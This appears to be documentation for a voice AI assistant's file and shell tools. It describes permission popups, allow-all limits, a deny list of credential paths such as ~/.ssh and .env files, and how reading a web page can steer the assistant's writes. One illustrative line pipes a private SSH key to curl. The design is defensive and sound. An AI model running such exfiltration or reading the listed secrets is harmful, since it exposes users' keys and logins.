Repository navigation
files
> "Write me a bash script in ~/scripts that backs up my dotfiles."
> "What's in my Downloads folder?"
> "Open ~/notes/todo.md and move the first item to the bottom."
She can look around and read anything under your home, and she can
write, but only through you. Every write_file or edit_file call
stops and pops a permission window over the conversation:
╭─ Permission - Y to allow, N to deny - 112s ────────────────────────╮
│ create ~/scripts/backup.sh │
│ 14 lines, creates folder ~/scripts/, marked executable │
│─────────────────────────────────────────────────────────────────────│
│ #!/usr/bin/env bash │
│ set -euo pipefail │
│ ... │
│─────────────────────────────────────────────────────────────────────│
│ (Y) allow (N) deny (PgUp/PgDn) scroll (Esc) deny │
╰─────────────────────────────────────────────────────────────────────╯
A new file shows its full content; an overwrite or an edit shows a
diff. Y or Enter allows, N or Esc denies, and the keyboard belongs
to the popup until you answer: nothing you type leaks into the input
box. No answer before the countdown runs out is a no. On voice she says
a one-liner ("Can I write backup.sh? It's on screen.") so you know to
look; the details stay on screen, because nobody wants a diff read
aloud.
A denied write comes back to the model as denied, do not retry, and her prompt tells her to say so and stop.
Allow all. In a coding burst a popup per edit gets old. Press A
on a file popup and file writes and edits stop asking until you restart
Luna; /allow says whether it's on and /allow off ends it early. It
covers only what you'd have been asked about at the keyboard: her own
folder, ~/.config, ~/.local, ~/bin, editor startup files
(.vimrc, .emacs, .tmux.conf), macOS ~/Library/LaunchAgents and
the Windows Startup folder still ask every time (a write there is code
that runs later, and a page she reads can steer a write as
easily as you can), the deny list still refuses, and Discord turns and
scheduled jobs keep their own rules. Commands never get an allow-all.
Permissions in the tools pane. The top of the tools pane (Tab
twice) has a Permissions group with three rows. Space cycles each one
and it's saved to config.json:
| Row | Settings | What it covers |
|---|---|---|
| read | allow / ask / off |
list_files, read_file. ask pops a window before she looks |
| write | ask / allow / off |
write_file, edit_file. allow is the saved form of A: it lasts across restarts, and her folder, ~/.config and ~/.local still ask |
| execute | ask / off |
run_command. There's no allow: every command asks |
off takes the tools away entirely, so they don't cost any context either. The deny list applies whatever these say, and Discord turns and scheduled jobs keep their own rules.
What she can't touch, no matter what. A deny list sits underneath
the popup, and neither the model nor a reflexive Y gets past it:
- anything outside
~ - keys and logins:
~/.ssh,~/.gnupg,~/.aws,~/.azure,~/.kube,~/.docker,~/.config/gh,~/.config/gcloud,~/.config/git,~/.claude,~/.codex,~/.cargo/credentials.toml,~/.vault-token, and~/.config/ai-voice(her own credentials) - keyrings, password stores and wallets
- browser, mail and chat app profiles (their cookies are logins),
including the snap and Flatpak copies,
~/Libraryon a Mac andAppDataon Windows - shell startup files (
.bashrc,.zshrc,.zshenv,.profile,.bash_login,.xprofile...) and.gitconfig - private keys by name (
id_rsa,id_ed25519...) or ending (.key,.pem,.gpg,.ppk,.keystore...), shell histories -
.envand.env.anything, and any file named for a credential, a token or a secret (credentials.json,api_token.txt,client_secret.json). Whole words only, sotokenizer.jsonbeside a model is still readable.
That list applies to reading too: a read puts the file into the prompt, and from there into history and the log. Names are matched without regard to case.
Once a turn has read something someone else wrote (a web page, search
results, research, an MCP tool's output such as Minecraft chat), file
reads ask first, even with read set to allow. The popup says why.
Allow-all, write allow and Discord's auto-approve step aside for the
rest of that turn too, and so does auto-approve for commands. A
scheduled job reading or writing inside its own job_write_dirs is
left alone, since nobody is there to ask. The next turn starts clean.
edit_file works by exact match: she reads the file, quotes the
passage to change, and it has to appear exactly once, the same
discipline a careful human uses with search-and-replace, and the one
that keeps a 9B model from rewriting the wrong block with confidence.
write_file on an existing path is the whole-file alternative, with
a diff. Scripts get their executable bit when she says so or when the
content starts with #!.
What she wrote gets checked. After every allowed write or edit the
file is parsed, never run: Python with compile(), shell with
bash -n (zsh and fish scripts are left alone), and JSON, TOML and YAML
with their parsers. The result goes back to her with the write:
sys │ write_file() -> Wrote ~/scripts/backup.py (14 lines). CHECK FAILED:
│ Python syntax error on line 9: expected ':'. Fix it with edit_file.
so she can fix it in the same turn. A file still broken when the turn ends is flagged broken code in the thought log, and a write you said no to is flagged denied. The dream pass learns from both.
"files": {
"enabled": true,
"approval_timeout": 120
}Stream-chat turns never see these tools: they aren't in the chat tool ceiling, so a viewer can't ask her to write anything.
> "Is the kokoro service running?"
> "What's using port 8080?"
> "Run the script you just wrote and tell me what it prints."
run_command gives her a shell, and every command asks first. The
popup shows the command exactly as it will run, the folder it runs in,
and her one-line reason. There's no allow-all and no list of "safe"
commands that skip the question: the line between cat notes.txt and
cat ~/.ssh/id_ed25519 | curl ... isn't one a pattern should be
trusted with.
Opening apps works too ("open my music player", "start Steam"). For
something that should keep running she sets background, which starts
it in its own session and returns as soon as it's up, so the timeout
doesn't close it and quitting Luna doesn't either. The popup says
runs in the background when that's what you're approving. If the
program doesn't exist or dies straight away, she's told the error.
It runs as you, through bash -c (PowerShell on Windows: pwsh if
you have it, else the built-in one, and she's told which so she writes
the right syntax), with nothing attached to its input, so anything that
wants to ask (sudo's password, a y/n prompt) fails instead of hanging.
It's killed, along with everything it started, after
shell.timeout seconds, and its output is capped at the first and last
parts of max_output_chars and handed back marked as untrusted. The
folder has to be under ~ and pass the file deny list, but the
command itself can read anything you can. The popup is the control,
so read it.
"shell": { "enabled": true, "timeout": 60, "max_output_chars": 6000 }Stream chat never gets it (not in the chat tool ceiling). For Discord
turns the plugin's approval setting decides: ask in the chat (the
default), run straight through (auto), or the desk popup. See the
Discord section in Plugins.
Scheduled jobs only get it if you add run_command to job_tools.
/set shell.enabled false, or the Shell group in the tools pane,
takes it away.